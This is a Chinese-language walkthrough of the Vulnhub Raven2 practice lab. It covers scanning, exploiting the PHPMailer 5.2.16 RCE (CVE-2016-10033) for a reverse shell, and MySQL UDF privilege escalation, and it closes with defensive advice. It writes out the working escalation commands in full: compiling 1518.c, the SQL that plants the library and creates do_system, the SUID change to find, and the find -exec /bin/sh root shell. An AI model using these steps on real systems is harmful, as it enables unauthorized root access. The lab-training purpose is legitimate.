Vulnhub靶场——Raven2练习
字数 1570 2025-08-19 12:41:24
Raven2靶场渗透测试教学文档
靶场概述
Raven2是一个基于Vulnhub的渗透测试练习靶场,运行在Linux系统上,包含多个flag和多种漏洞利用方式。本教学文档将详细记录从信息收集到最终提权的完整渗透过程。
信息收集阶段
1. 网络扫描
使用以下工具确定目标IP和开放端口:
arp-scan:扫描本地网络发现目标机器nmap:进行端口扫描
发现结果:
- 目标IP:192.168.78.144
- 开放端口:
- 22 (SSH)
- 80 (HTTP)
- 111 (RPC)
2. Web目录枚举
访问Web服务并枚举目录:
- 发现
/vendor/目录- 在
path文件中找到flag1:a2c1f66d2b8051bd3a5874b5b6e43e21
- 在
- 发现
readme.md文件,揭示网站使用PHPMailer - 在
version文件中确认PHPMailer版本为5.2.16
漏洞利用阶段
1. PHPMailer漏洞利用
PHPMailer 5.2.16存在远程代码执行漏洞(CVE-2016-10033)
利用步骤:
- 在Exploit-DB搜索漏洞利用脚本,选择
40974.py - 修改脚本内容:
- 设置目标URL
- 设置反弹shell的IP和端口
- 攻击机开启监听:
nc -lvnp [监听端口] - 执行漏洞利用脚本
- 访问生成的
shell.php文件获取反弹shell
2. 获取初始shell
成功反弹shell后,进行以下操作:
- 升级shell交互性:
python -c 'import pty;pty.spawn("/bin/bash")' - 查找flag文件:
发现flag:find / -name flag*- flag2:
6a8ed560f0b5358ecf844108048eb337 - flag3:
a0f568aa9de277887f37730d71520d9b
- flag2:
权限提升阶段
1. 系统信息收集
使用LinEnum.sh脚本扫描系统,发现:
- MySQL服务以root用户权限运行
- 在WordPress配置文件
wp-config.php中找到MySQL凭据:- 用户名:root
- 密码:R@v3nSecurity
2. MySQL UDF提权
详细步骤:
-
检查MySQL配置:
show global variables like 'secure%'; show variables like '%plugin%';- 确认plugin目录路径:
/usr/lib/mysql/plugin/ - 检查远程登录限制:
use mysql; select user,host from user;
- 确认plugin目录路径:
-
准备UDF提权文件:
- 使用searchsploit搜索UDF漏洞,选择
1518.c(适用于MySQL 4.x/5.x) - 编译UDF文件:
编译选项说明:gcc -g -c 1518.c gcc -g -shared -o yc.so 1518.o -lc -g-g:生成调试信息-c:编译为二进制-shared:创建动态链接库-o:指定输出文件名-lc:链接C库
- 使用searchsploit搜索UDF漏洞,选择
-
上传并利用UDF文件:
- 将
yc.so上传到目标机器(如/var/www/html/hanh/) - 通过MySQL操作:
create table hanh(line blob); insert into hanh values(load_file('/var/www/html/hanh/yc.so')); select * from hanh into dumpfile '/usr/lib/mysql/plugin/yc.so'; create function do_system returns integer soname 'yc.so'; select * from mysql.func; -- 验证函数创建
- 将
-
利用UDF函数提权:
select do_system('chmod u+s /usr/bin/find'); -
验证SUID权限:
find / -perm -4000 -type f -exec ls -al {} \; 2>/dev/null确认
/usr/bin/find已具有SUID权限 -
最终提权:
touch getflag find getflag -exec '/bin/sh' \;获取root shell后,在
/root/flag4.txt中找到:- flag4:
df2bc5e951d91581467bb9a2a8ff4425
- flag4:
关键知识点总结
-
信息收集:
- 网络扫描工具使用
- Web目录枚举技巧
- 版本信息识别
-
漏洞利用:
- PHPMailer RCE漏洞利用
- 反弹shell技术
- Web shell上传与利用
-
权限提升:
- MySQL UDF提权原理
- SUID权限滥用
- 编译和上传自定义库文件
- MySQL函数创建与利用
-
工具使用:
- arp-scan/nmap
- gcc编译
- LinEnum信息收集脚本
- searchsploit漏洞搜索
防御建议
- 及时更新软件版本(如PHPMailer)
- 限制MySQL运行权限
- 禁用不必要的SUID权限
- 加强文件上传限制
- 使用最小权限原则配置服务账户
- 定期审计系统配置和权限设置